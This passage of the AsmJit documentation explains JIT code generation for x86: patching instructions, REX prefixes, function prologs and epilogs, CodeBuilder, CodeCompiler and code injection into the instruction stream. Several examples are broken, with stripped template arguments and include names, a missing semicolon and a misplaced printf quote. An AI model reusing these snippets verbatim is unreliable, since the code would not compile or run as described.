immediate in little-endian representing `16`. + +If you generate an instruction in a short form and then patch it in a long form or vice-versa then something really bad will happen when you try to execute such code. The following example illustrates how to patch the code properly (it just extends the previous example): + +```c++ +using namespace asmjit; + +typedef int (*Func)(void); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Create a runtime specialized for JIT. + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to be compatible with `rt`. + + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + // Let's get these registers from X86Assembler. + X86Gp zbp = a.zbp(); + X86Gp zsp = a.zsp(); + + // Function prolog. + a.push(zbp); + a.mov(zbp, zsp); + + // This is where we are gonna patch the code later, so let's get the offset + // (the current location) from the beginning of the code-buffer. + size_t patchOffset = a.getOffset(); + // Let's just emit 'sub zsp, 0' for now, but don't forget to use LONG form. + a.long_().sub(zsp, 0); + + // ... emit some code (this just sets return value to zero) ... + a.xor_(x86::eax, x86::eax); + + // Function epilog and return. + a.mov(zsp, zbp); + a.pop(zbp); + a.ret(); + + // Now we know how much stack size we want to reserve. I have chosen 128 + // bytes on purpose as it's encodable only in long form that we have used. + + int stackSize = 128; // Number of bytes to reserve on the stack. + a.setOffset(patchOffset); // Move the current cursor to `patchOffset`. + a.long_().sub(zsp, stackSize); // Patch the code; don't forget to use LONG form. + + // Now the code is ready to be called + Func fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + + int result = fn(); // Execute the generated code. + printf("%d\n", result); // Print the resulting "0". + + rt.release(fn); // Remove the function from the runtime. + return 0; +} +``` + +If you run the example it would just work. As an experiment you can try removing `long_()` form to see what happens when wrong code is generated. + +### Code Patching and REX Prefix + +In 64-bit mode there is one more thing to worry about when patching code - REX prefix. It's a single byte prefix designed to address registers with ids from 9 to 15 and to override the default width of operation from 32 to 64 bits. AsmJit, like other assemblers, only emits REX prefix when it's necessary. If the patched code only changes the immediate value as shown in the previous example then there is nothing to worry about as it doesn't change the logic behind emitting REX prefix, however, if the patched code changes register id or overrides the operation width then it's important to take care of REX prefix as well. + +AsmJit contains another instruction option that controls (forces) REX prefix - `rex()`. If you use it the instruction emitted will always use REX prefix even when it's encodable without it. The following list contains some instructions and their binary representations to illustrate when it's emitted: + + * `__83C410` - `add esp, 16` - 32-bit operation in 64-bit mode doesn't require REX prefix. + * `4083C410` - `rex add esp, 16` - 32-bit operation in 64-bit mode with forced REX prefix (0x40). + * `4883C410` - `add rsp, 16` - 64-bit operation in 64-bit mode requires REX prefix (0x48). + * `4183C410` - `add r12d, 16` - 32-bit operation in 64-bit mode using R12D requires REX prefix (0x41). + * `4983C410` - `add r12, 16` - 64-bit operation in 64-bit mode using R12 requires REX prefix (0x49). + +### Generic Function API + +So far all examples shown above handled creating function prologs and epilogs manually. While it's possible to do it that way it's much better to automate such process as function calling conventions vary across architectures and also across operating systems. + +AsmJit contains a functionality that can be used to define function signatures and to calculate automatically optimal frame layout that can be used directly by a prolog and epilog inserter. This feature was exclusive to AsmJit's CodeCompiler for a very long time, but was abstracted out and is now available for all users regardless of CodeEmitter they use. The design of handling functions prologs and epilogs allows generally two use cases: + + * Calculate function layout before the function is generated - this is the only way if you use pure `Assembler` emitter and shown in the next example. + * Calculate function layout after the function is generated - this way is generally used by `CodeBuilder` and `CodeCompiler` (will be described together with `X86Compiler`). + +The following concepts are used to describe and create functions in AsmJit: + + * **CallConv** - Describes a calling convention - this class contains instructions to assign registers and stack addresses to function arguments and return value(s), but doesn't specify any function signature. Calling conventions are architecture and OS dependent. + + * **TypeId** - TypeId is an 8-bit value that describes a platform independent type. It provides abstractions for most common types like `int8_t`, `uint32_t`, `uintptr_t`, `float`, `double`, and all possible vector types to match ISAs up to AVX512. **TypeId** was introduced originally to be used with **CodeCompiler**, but is now used by **FuncSignature** as well. + + * **FuncSignature** - Describes a function signature, for example `int func(int, int)`. **FuncSignature** contains a function calling convention id, return value type, and function arguments. The signature itself is platform independent and uses **TypeId** to describe types of function arguments and its return value(s). + + * **FuncDetail** - Architecture and ABI dependent information that describes **CallConv** and expanded **FuncSignature**. Each function argument and return value is represented as **FuncDetail::Value** that contains the original **TypeId** enriched by additional information that specifies if the value is passed/returned by register (and which register) or by stack. Each value also contains some other metadata that provide additional information required to handle it properly (for example if a vector value is passed indirectly by a pointer as required by WIN64 calling convention, etc...). + + * **FuncArgsMapper** - A helper that can be used to define where each function argument is expected to be. It's architecture and ABI dependent mapping from function arguments described by CallConv and FuncDetail into registers specified by the user. + + * **FuncFrameInfo** - Contains information about a function-frame. Holds callout-stack size and alignment (i.e. stack used to call functions), stack-frame size and alignment (the stack required by the function itself), and various attributes that describe how prolog and epilog should be constructed. FuncFrameInfo doesn't know anything about function arguments or returns, it should be seen as a class that describes minimum requirements of the function frame and its attributes before the final `FuncFrameLayout` is calculated. + + * **FuncFrameLayout** - Contains the final function layout that can be passed to `FuncUtils::emitProlog()` and `FuncUtils::emitEpilog()`. The content of this class should always be calculated by AsmJit by calling `FuncFrameLayout::init(const FuncDetail& detail, const FuncFrameInfo& ffi)`. + +It's a lot of concepts where each represents one step in the function layout calculation. In addition, the whole machinery can also be used to create function calls, instead of function prologs and epilogs. The next example shows how AsmJit can be used to create functions for both 32-bit and 64-bit targets and various calling conventions: + +```c++ +using namespace asmjit; + +typedef void (*SumIntsFunc)(int* dst, const int* a, const int* b); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Create JIT Runtime. + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to match `rt`. + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + // Decide which registers will be mapped to function arguments. Try changing + // registers of `dst`, `src_a`, and `src_b` and see what happens in function's + // prolog and epilog. + X86Gp dst = a.zax(); + X86Gp src_a = a.zcx(); + X86Gp src_b = a.zdx(); + + X86Xmm vec0 = x86::xmm0; + X86Xmm vec1 = x86::xmm1; + + // Create and initialize `FuncDetail` and `FuncFrameInfo`. Both are + // needed to create a function and they hold different kind of data. + FuncDetail func; + func.init(FuncSignature3(CallConv::kIdHost)); + + FuncFrameInfo ffi; + ffi.setDirtyRegs(X86Reg::kKindVec, // Make XMM0 and XMM1 dirty. VEC kind + Utils::mask(0, 1)); // describes XMM|YMM|ZMM registers. + + FuncArgsMapper args(&func); // Create function arguments mapper. + args.assignAll(dst, src_a, src_b); // Assign our registers to arguments. + args.updateFrameInfo(ffi); // Reflect our args in FuncFrameInfo. + + FuncFrameLayout layout; // Create the FuncFrameLayout, which + layout.init(func, ffi); // contains metadata of prolog/epilog. + + FuncUtils::emitProlog(&a, layout); // Emit function prolog. + FuncUtils::allocArgs(&a, layout, args); // Allocate arguments to registers. + a.movdqu(vec0, x86::ptr(src_a)); // Load 4 ints from [src_a] to XMM0. + a.movdqu(vec1, x86::ptr(src_b)); // Load 4 ints from [src_b] to XMM1. + a.paddd(vec0, vec1); // Add 4 ints in XMM1 to XMM0. + a.movdqu(x86::ptr(dst), vec0); // Store the result to [dst]. + FuncUtils::emitEpilog(&a, layout); // Emit function epilog and return. + + SumIntsFunc fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error case. + + // Execute the generated function. + int inA[4] = { 4, 3, 2, 1 }; + int inB[4] = { 1, 5, 2, 8 }; + int out[4]; + fn(out, inA, inB); + + // Prints {5 8 4 9} + printf("{%d %d %d %d}\n", out[0], out[1], out[2], out[3]); + + rt.release(fn); // Remove the function from the runtime. + return 0; +} +``` + +CodeBuilder +----------- + +Both **CodeBuilder** and **CodeCompiler** are emitters that emit everything to a representation that allows further processing. The code stored in such representation is completely safe to be patched, simplified, reordered, obfuscated, removed, injected, analyzed, and 'think-of-anything-else'. Each instruction (or label, directive, ...) is stored as **CBNode** (Code-Builder Node) and contains all the necessary information to emit machine code out of it later. + +There is a difference between **CodeBuilder** and **CodeCompiler**: + + * **CodeBuilder** (low-level): + * Maximum compatibility with **Assembler**, easy to switch from **Assembler** to **CodeBuilder** and vice versa. + * Doesn't generate machine code directly, allows to serialize to **Assembler** when the whole code is ready to be encoded. + + * **CodeCompiler** (high-level): + * Virtual registers - allows to use unlimited number of virtual registers which are allocated into physical registers by a built-in register allocator. + * Function nodes - allows to create functions by specifying their signatures and assigning virtual registers to function arguments and return value(s). + * Function calls - allows to call other functions within the generated code by using the same interface that is used to create functions. + +There are multiple node types used by both **CodeBuilder** and **CodeCompiler**: + + * Basic nodes: + * **CBNode** - Base class for all nodes. + * **CBInst** - Instruction node. + * **CBAlign** - Alignment directive (.align). + * **CBLabel** - Label (location where to bound it). + + * Data nodes: + * **CBData** - Data embedded into the code. + * **CBConstPool** - Constant pool data. + * **CBLabelData** - Label address embedded as data. + + * Informative nodes: + * **CBComment** - Contains a comment string, doesn't affect code generation. + * **CBSentinel** - A marker that can be used to remember certain position, doesn't affect code generation. + + * **CodeCompiler** nodes: + * **CCFunc** - Start of a function. + * **CCFuncExit** - Return from a function. + * **CCFuncCall** - Function call. + +NOTE: All nodes that have **CB** prefix are used by both **CodeBuilder** and **CodeCompiler**. Nodes that have **CC** prefix are exclusive to **CodeCompiler** and are usually lowered to **CBNodes** by a **CodeBuilder** specific pass or treated as one of **CB** nodes; for example **CCFunc** inherits **CBLabel** so it's treated as **CBLabel** by **CodeBuilder** and as **CCFunc** by **CodeCompiler**. + +### Using CodeBuilder + +**CodeBuilder** was designed to be used as an **Assembler** replacement in case that post-processing of the generated code is required. The code can be modified during or after code generation. The post processing can be done manually or through **Pass** (Code-Builder Pass) object. **CodeBuilder** stores the emitted code as a double-linked list, which allows O(1) insertion and removal. + +The code representation used by **CodeBuilder** is compatible with everything AsmJit provides. Each instruction is stored as **CBInst**, which contains instruction id, options, and operands. Each instruction emitted will create a new **CBInst** instance and add it to the current cursor in the double-linked list of nodes. Since the instruction stream used by **CodeBuilder** can be manipulated, we can rewrite the **SumInts** example into the following: + +```c++ +using namespace asmjit; + +typedef void (*SumIntsFunc)(int* dst, const int* a, const int* b); + +// Small helper function to print the current content of `cb`. +static void dumpCode(CodeBuilder& cb, const char* phase) { + StringBuilder sb; + cb.dump(sb); + printf("%s:\n%s\n", phase, sb.getData()); +} + +int main(int argc, char* argv[]) { + JitRuntime rt; // Create JIT Runtime. + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to match `rt`. + X86Builder cb(&code); // Create and attach X86Builder to `code`. + + // Decide which registers will be mapped to function arguments. Try changing + // registers of `dst`, `src_a`, and `src_b` and see what happens in function's + // prolog and epilog. + X86Gp dst = cb.zax(); + X86Gp src_a = cb.zcx(); + X86Gp src_b = cb.zdx(); + + X86Xmm vec0 = x86::xmm0; + X86Xmm vec1 = x86::xmm1; + + // Create and initialize `FuncDetail`. + FuncDetail func; + func.init(FuncSignature3(CallConv::kIdHost)); + + // Remember prolog insertion point. + CBNode* prologInsertionPoint = cb.getCursor(); + + // Emit function body: + cb.movdqu(vec0, x86::ptr(src_a)); // Load 4 ints from [src_a] to XMM0. + cb.movdqu(vec1, x86::ptr(src_b)); // Load 4 ints from [src_b] to XMM1. + cb.paddd(vec0, vec1); // Add 4 ints in XMM1 to XMM0. + cb.movdqu(x86::ptr(dst), vec0); // Store the result to [dst]. + + // Remember epilog insertion point. + CBNode* epilogInsertionPoint = cb.getCursor(); + + // Let's see what we have now. + dumpCode(cb, "Raw Function"); + + // Now, after we emitted the function body, we can insert the prolog, arguments + // allocation, and epilog. This is not possible with using pure X86Assembler. + FuncFrameInfo ffi; + ffi.setDirtyRegs(X86Reg::kKindVec, // Make XMM0 and XMM1 dirty. VEC kind + Utils::mask(0, 1)); // describes XMM|YMM|ZMM registers. + + FuncArgsMapper args(&func); // Create function arguments mapper. + args.assignAll(dst, src_a, src_b); // Assign our registers to arguments. + args.updateFrameInfo(ffi); // Reflect our args in FuncFrameInfo. + + FuncFrameLayout layout; // Create the FuncFrameLayout, which + layout.init(func, ffi); // contains metadata of prolog/epilog. + + // Insert function prolog and allocate arguments to registers. + cb.setCursor(prologInsertionPoint); + FuncUtils::emitProlog(&cb, layout); + FuncUtils::allocArgs(&cb, layout, args); + + // Insert function epilog. + cb.setCursor(epilogInsertionPoint); + FuncUtils::emitEpilog(&cb, layout); + + // Let's see how the function prolog and epilog looks. + dumpCode(cb, "Prolog & Epilog"); + + // IMPORTANT: CodeBuilder requires `finalize()` to be called to serialize + // the code to the Assembler (it automatically creates one if not attached). + cb.finalize(); + + SumIntsFunc fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error case. + + // Execute the generated function. + int inA[4] = { 4, 3, 2, 1 }; + int inB[4] = { 1, 5, 2, 8 }; + int out[4]; + fn(out, inA, inB); + + // Prints {5 8 4 9} + printf("{%d %d %d %d}\n", out[0], out[1], out[2], out[3]); + + rt.release(fn); // Remove the function from the runtime. + return 0; +} +``` + +When the example is executed it should output the following (this one using AMD64-SystemV ABI): + +``` +Raw Function: +movdqu xmm0, [rcx] +movdqu xmm1, [rdx] +paddd xmm0, xmm1 +movdqu [rax], xmm0 + +Prolog & Epilog: +mov rax, rdi +mov rcx, rsi +movdqu xmm0, [rcx] +movdqu xmm1, [rdx] +paddd xmm0, xmm1 +movdqu [rax], xmm0 +ret + +{5 8 4 9} +``` + +The number of use-cases of **X86Builder** is not limited and highly depends on your creativity and experience. The previous example can be easily improved to collect all dirty registers inside the function programmatically and to pass them to `ffi.setDirtyRegs()`: + +```c++ +using namespace asmjit; + +// NOTE: This function doesn't cover all possible instructions. It ignores +// instructions that write to implicit registers that are not part of the +// operand list. It also counts read-only registers. Real implementation +// would be a bit more complicated, but still relatively easy. +static void collectDirtyRegs(const CBNode* first, const CBNode* last, uint32_t regMask[X86Reg::kKindCount]) { + const CBNode* node = first; + while (node) { + if (node->actsAsInst()) { + const CBInst* inst = node->as(); + const Operand* opArray = inst->getOpArray(); + + for (uint32_t i = 0, opCount = inst->getOpCount(); i < opCount; i++) { + const Operand& op = opArray[i]; + if (op.isReg()) { + const X86Reg& reg = op.as(); + regMask[reg.getKind()] |= 1U << reg.getId(); + } + } + } + + if (node == last) break; + node = node->getNext(); + } +} + +static void setDirtyRegsOfFFI(const X86Builder& cb, FuncFrameInfo& ffi) { + uint32_t regMask[X86Reg::kKindCount] = { 0 }; + collectDirtyRegs(cb.getFirstNode(), cb.getLastNode(), regMask); + + // X86/X64 ABIs only require to save GP/XMM registers: + ffi.setDirtyRegs(X86Reg::kKindGp, regMask[X86Reg::kKindGp]); + ffi.setDirtyRegs(X86Reg::kKindVec, regMask[X86Reg::kKindVec]); +} +``` + +### Using X86Assembler or X86Builder through X86Emitter + +Even when **Assembler** and **CodeBuilder** implement the same interface defined by **CodeEmitter** their platform dependent variants (**X86Assembler** and **X86Builder**, respective) cannot be interchanged or casted to each other by using C++'s `static_cast<>`. The main reason is the inheritance graph of these classes is different and cast-incompatible, as illustrated in the following graph: + +``` + +--------------+ +=======================+ + +----------------------->| X86Emitter |<--+--# X86EmitterImplicitT<> #<--+ + | +--------------+ | +=======================+ | + | (abstract) | (mixin) | + | +--------------+ +~~~~~~~~~~~~~~+ | | + +-->| Assembler |---->| X86Assembler |<--+ | + | +--------------+ +~~~~~~~~~~~~~~+ | | + | (abstract) (final) | | ++===============+ | +--------------+ +~~~~~~~~~~~~~~+ | | +# CodeEmitter #--+-->| CodeBuilder |--+->| X86Builder |<--+ | ++===============+ +--------------+ | +~~~~~~~~~~~~~~+ | + (abstract) (abstract) | (final) | + +---------------------+ | + | | + | +--------------+ +~~~~~~~~~~~~~~+ +=======================+ | + +-->| CodeCompiler |---->| X86Compiler |<-----# X86EmitterExplicitT<> #---+ + +--------------+ +~~~~~~~~~~~~~~+ +=======================+ + (abstract) (final) (mixin) +``` + +The graph basically shows that it's not possible to cast **X86Assembler** to **X86Builder** and vice versa. However, since both **X86Assembler** and **X86Builder** share the same interface defined by both **CodeEmitter** and **X86EmmiterImplicitT** a class called **X86Emitter** was introduced to make it possible to write a function that can emit to both **X86Assembler** and **X86Builder**. Note that **X86Emitter** cannot be created, it's abstract and has private constructors and destructors; it was only designed to be casted to and used as an interface. + +Each X86 emitter implements a member function called **asEmitter()**, which casts the instance to the **X86Emitter**, as illustrated on the next example: + +```c++ +using namespace asmjit; + +static void emitSomething(X86Emitter* e) { + e->mov(x86::eax, x86::ebx); +} + +static void assemble(CodeHolder& code, bool useAsm) { + if (useAsm) { + X86Assembler a(&code); + emitSomething(a.asEmitter()); + } + else { + X86Builder cb(&code); + emitSomething(cb.asEmitter()); + + // IMPORTANT: CodeBuilder requires `finalize()` to be called to serialize + // the code to the Assembler (it automatically creates one if not attached). + cb.finalize(); + } +} +``` + +The example above shows how to create a function that can emit code to either **X86Assembler** or **X86Builder** through **X86Emitter**, which provides emitter-neutral functionality. **X86Emitter**, however, doesn't provide any emitter **X86Assembler** or **X86Builder** specific functionality like **setCursor()**. + +CodeCompiler +------------ + +**CodeCompiler** is a high-level code emitter that provides virtual registers and automatically handles function calling conventions. It's still architecture dependent, but makes the code generation much easier by offering a built-in register allocator and function builder. Functions are essential; the first-step to generate some code is to define the signature of the function you want to generate (before generating the function body). Function arguments and return value(s) are handled by assigning virtual registers to them. Similarly, function calls are handled the same way. + +**CodeCompiler** also makes the use of passes (introduced by **CodeBuilder**) and automatically adds an architecture-dependent register allocator pass to the list of passes when attached to **CodeHolder**. + +### Compiler Basics + +The first **CodeCompiler** example shows how to generate a function that simply returns an integer value. It's an analogy to the very first example: + +```c++ +#include +#include + +using namespace asmjit; + +// Signature of the generated function. +typedef int (*Func)(void); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + + X86Compiler cc(&code); // Create and attach X86Compiler to `code`. + cc.addFunc(FuncSignature0()); // Begin a function of `int fn(void)` signature. + + X86Gp vReg = cc.newGpd(); // Create a 32-bit general purpose register. + cc.mov(vReg, 1); // Move one to our virtual register `vReg`. + cc.ret(vReg); // Return `vReg` from the function. + + cc.endFunc(); // End of the function body. + cc.finalize(); // Translate and assemble the whole `cc` content. + // ----> X86Compiler is no longer needed from here and can be destroyed <---- + + Func fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + int result = fn(); // Execute the generated code. + printf("%d\n", result); // Print the resulting "1". + + rt.release(fn); // RAII, but let's make it explicit. + return 0; +} +``` + +The **addFunc()** and **endFunc()** methods define the body of the function. Both functions must be called per function, but the body doesn't have to be generated in sequence. An example of generating two functions will be shown later. The next example shows more complicated code that contain a loop and generates a **memcpy32()** function: + +```c++ +#include +#include + +using namespace asmjit; + +// Signature of the generated function. +typedef void (*MemCpy32)(uint32_t* dst, const uint32_t* src, size_t count); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + + X86Compiler cc(&code); // Create and attach X86Compiler to `code`. + cc.addFunc( // Begin the function of the following signature: + FuncSignature3()); // 3rd argument - size_t (machine reg-size). + + Label L_Loop = cc.newLabel(); // Start of the loop. + Label L_Exit = cc.newLabel(); // Used to exit early. + + X86Gp dst = cc.newIntPtr("dst"); // Create `dst` register (destination pointer). + X86Gp src = cc.newIntPtr("src"); // Create `src` register (source pointer). + X86Gp cnt = cc.newUIntPtr("cnt"); // Create `cnt` register (loop counter). + + cc.setArg(0, dst); // Assign `dst` argument. + cc.setArg(1, src); // Assign `src` argument. + cc.setArg(2, cnt); // Assign `cnt` argument. + + cc.test(cnt, cnt); // Early exit if length is zero. + cc.jz(L_Exit); + + cc.bind(L_Loop); // Bind the beginning of the loop here. + + X86Gp tmp = cc.newInt32("tmp"); // Copy a single dword (4 bytes). + cc.mov(tmp, x86::dword_ptr(src)); // Load DWORD from [src] address. + cc.mov(x86::dword_ptr(dst), tmp); // Store DWORD to [dst] address. + + cc.add(src, 4); // Increment `src`. + cc.add(dst, 4); // Increment `dst`. + + cc.dec(cnt); // Loop until `cnt` is non-zero. + cc.jnz(L_Loop); + + cc.bind(L_Exit); // Label used by early exit. + cc.endFunc(); // End of the function body. + + cc.finalize(); // Translate and assemble the whole `cc` content. + // ----> X86Compiler is no longer needed from here and can be destroyed <---- + + MemCpy32 memcpy32; + Error err = rt.add(&memcpy32, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + // Test the generated code. + uint32_t src[6] = { 1, 2, 3, 5, 8, 13 }; + uint32_t dst[6]; + memcpy32(dst, src, 6); + + for (uint32_t i = 0; i < 6; i++) + printf("%d\n", dst[i]); + + rt.release(memcpy32); // RAII, but let's make it explicit. + return 0; +} +``` + +### Recursive Functions + +It's possible to create more functions by using the same `X86Compiler` instance and make links between them. In such case it's important to keep the pointer to the `CCFunc` node. The first example creates a simple Fibonacci function that calls itself recursively: + +```c++ +#include +#include + +using namespace asmjit; + +// Signature of the generated function. +typedef uint32_t (*Fibonacci)(uint32_t x); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + + X86Compiler cc(&code); // Create and attach X86Compiler to `code`. + CCFunc* func = cc.addFunc( // Begin of the Fibonacci function, `addFunc()` + FuncSignature1()); // Returns a pointer to the `CCFunc` node. + + Label L_Exit = cc.newLabel() // Exit label. + X86Gp x = cc.newU32(); // Function `x` argument. + X86Gp y = cc.newU32(); // Temporary. + + cc.setArg(0, x); + + cc.cmp(x, 3); // Return `x` if less than 3. + cc.jb(L_Exit); + + cc.mov(y, x); // Make copy of the original `x`. + cc.dec(x); // Decrease `x`. + + CCFuncCall* call = cc.call( // Function call: + func->getLabel(), // Function address or Label. + FuncSignature1()); // Function signature. + + call->setArg(0, x); // Assign `x` as the first argument and + call->setRet(0, x); // assign `x` as a return value as well. + + cc.add(x, y); // Combine the return value with `y`. + + cc.bind(L_Exit); + cc.ret(x); // Return `x`. + cc.endFunc(); // End of the function body. + + cc.finalize(); // Translate and assemble the whole `cc` content. + // ----> X86Compiler is no longer needed from here and can be destroyed <---- + + Fibonacci fib; + Error err = rt.add(&fib, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + printf("Fib(%u) -> %u\n, 8, fib(8)); // Test the generated code. + + rt.release(fib); // RAII, but let's make it explicit. + return 0; +} +``` + +### Stack Management + +**CodeCompiler** manages function's stack-frame, which is used by the register allocator to spill virtual registers. It also provides an interface to allocate user-defined block of the stack, which can be used as a temporary storage by the generated function. In the following example a stack of 256 bytes size is allocated, filled by bytes starting from 0 to 255 and then iterated again to sum all the values. + +```c++ +#include +#include + +using namespace asmjit; + +// Signature of the generated function. +typedef int (*Func)(void); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + + X86Compiler cc(&code); // Create and attach X86Compiler to `code`. + cc.addFunc(FuncSignature0()); // Create a function that returns 'int'. + + X86Gp p = cc.newIntPtr("p"); + X86Gp i = cc.newIntPtr("i"); + + X86Mem stack = cc.newStack(256, 4); // Allocate 256 bytes on the stack aligned to 4 bytes. + X86Mem stackIdx(stack); // Copy of `stack` with `i` added. + stackIdx.setIndex(i); // stackIdx <- stack[i]. + stackIdx.setSize(1); // stackIdx <- byte ptr stack[i]. + + // Load a stack address to `p`. This step is purely optional and shows + // that `lea` is useful to load a memory operands address (even absolute) + // to a general purpose register. + cc.lea(p, stack); + + // Clear `i` (`xor` as it's C++ keyword, hence `xor_` is used instead). + cc.xor_(i, i); + + Label L1 = cc.newLabel(); + Label L2 = cc.newLabel(); + + cc.bind(L1); // First loop, fill the stack. + cc.mov(stackIdx, i.r8()); // stack[i] = uint8_t(i). + + cc.inc(i); // i++; + cc.cmp(i, 256); // if (i < 256) + cc.jb(L1); // goto L1; + + // Second loop, sum all bytes stored in `stack`. + X86Gp sum = cc.newI32("sum"); + X86Gp val = cc.newI32("val"); + + cc.xor_(i, i); + cc.xor_(sum, sum); + + cc.bind(L2); + + cc.movzx(val, stackIdx); // val = uint32_t(stack[i]); + cc.add(sum, val); // sum += val; + + cc.inc(i); // i++; + cc.cmp(i, 256); // if (i < 256) + cc.jb(L2); // goto L2; + + cc.ret(sum); // Return the `sum` of all values. + cc.endFunc(); // End of the function body. + + cc.finalize(); // Translate and assemble the whole `cc` content. + // ----> X86Compiler is no longer needed from here and can be destroyed <---- + + Func func; + Error err = rt.add(&func, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + printf("Func() -> %d\n", func()); // Test the generated code. + + rt.release(func); // RAII, but let's make it explicit. + return 0; +} +``` + +### Constant Pool + +**CodeCompiler** provides two constant pools for a general purpose code generation - local and global. Local constant pool is related to a single **CCFunc** node and is generally flushed after the function body, and global constant pool is flushed at the end of the generated code by **CodeCompiler::finalize()**. + +```c++ +#include + +using namespace asmjit; + +static void exampleUseOfConstPool(X86Compiler& cc) { + cc.addFunc(FuncSignature0()); + + X86Gp v0 = cc.newGpd("v0"); + X86Gp v1 = cc.newGpd("v1"); + + X86Mem c0 = cc.newInt32Const(kConstScopeLocal, 200); + X86Mem c1 = cc.newInt32Const(kConstScopeLocal, 33); + + cc.mov(v0, c0); + cc.mov(v1, c1); + cc.add(v0, v1); + + cc.ret(v0); + cc.endFunc(); +} +``` + +### Code Injection + +Both **CodeBuilder** and **CodeCompiler** emitters store their nodes in a double-linked list, which makes it easy to manipulate during the code generation or after it. Each node is always emitted next to the current **cursor** and the cursor is changed to that newly emitted node. Cursor can be explicitly retrieved and assigned by **getCursor()** and **setCursor()**, respectively. + +The following example shows how to inject code at the beginning of the function by providing an **XmmConstInjector** helper class. + +```c++ +#include +#include +#include + +using namespace asmjit; + +// Simple injector that injects `movaps()` to the beginning of the function. +class XmmConstInjector { +public: + struct Slot { + X86Xmm reg; + Data128 value; + }; + + XmmConstInjector(X86Compiler* cc) + : _cc(cc), + _injectTarget(cc->getCursor()) {} + + X86Xmm xmmOf(const Data128& value) { + // First reuse the register if it already holds the given `value`. + for (std::vector::const_iterator it(_slots.begin()); it != _slots.end(); ++it) { + const Slot& slot = *it; + if (::memcmp(&slot.value, &value, sizeof(Data128)) == 0) + return slot.reg; + } + + // Create a new register / value pair and store in `_slots`. + X86Xmm reg = _cc->newXmm("const%u", static_cast(_slots.size())); + + Slot newSlot; + newSlot.value = value; + newSlot.reg = reg; + _slots.push_back(newSlot); + + // Create the constant and inject it after the injectTarget. + X86Mem mem = _cc->newConst(kConstScopeGlobal, &value, 16); + CBNode* saved = _cc->setCursor(_injectTarget); + + _cc->movaps(reg, mem); + // Make sure we inject next load after the load we just emitted. + _injectTarget = _cc->getCursor(); + + // Restore the original cursor, so the code emitting can continue from where it was. + _cc->setCursor(saved); + return reg; + } + + X86Compiler* _cc; + CBNode* _injectTarget; + std::vector _slots; +}; + +// Signature of the generated function. +typedef void (*Func)(uint16_t*); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + FileLogger logger(stdout); + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + code.setLogger(&logger); + + X86Compiler cc(&code); // Create and attach X86Compiler to `code`. + cc.addFunc( + FuncSignature1()); // Create a function that accepts `uint16_t[]'. + + X86Gp p = cc.newIntPtr("p"); // Create and Assign the function argument `p`. + cc.setArg(0, p); + + XmmConstInjector injector(&cc); // The injector will inject the code |here|. + + X86Xmm x = cc.newXmm("x"); + cc.movups(x, x86::ptr(p)); // Load 16 bytes from `[p]` to `x`. + + // Now use injector to add constants to the constant pool and to inject their loads. + Data128 data0 = Data128::fromU16(0x80); + Data128 data1 = Data128::fromU16(0x13); + + cc.paddw(x, injector.xmmOf(data0)); // x.u16 = x.u16 + 0x80. + cc.pmullw(x, injector.xmmOf(data1)); // x.u16 = x.u16 * 0x13. + cc.movups(x86::ptr(p), x); // Write back to `[p]`. + + cc.endFunc(); // End of the function body. + cc.finalize(); // Translate and assemble the whole `cc` content. + // ----> X86Compiler is no longer needed from here and can be destroyed <---- + + Func func; + Error err = rt.add(&func, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + // Test the generated function + uint16_t vec[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; + func(vec); + + for (uint32_t i = 0; i < 8; i++) + printf("%u ", vec[i]); + printf("\n"); + + rt.release(func); // RAII, but let's make it explicit. + return 0; +} +``` + +The code generated would look similar to: + +```x86asm +L0: +movaps xmm0, oword [L2] ; movaps const0, oword [L2] +movaps xmm1, oword [L2+16] ; movaps const1, oword [L2+16] +movups xmm2, [rdi] ; movups x, [p] +paddw xmm2, xmm0 ; paddw x, const0 +pmullw xmm2, xmm1 ; pmullw x, const1 +movups [rdi], xmm2 ; movups [p], x +L1: +ret +.align 16 +L2: +.data 80008000800080008000800080008000 +.data 13001300130013001300130013001300 +``` + +There are many other applications of code injection, usually it's used to lazy-add some initialization code and such, but the application is practically unlimited. + +Advanced Features +----------------- + +### Logging + +Failures are common, especially when working at machine-code level. AsmJit does already a good job with function overloading to 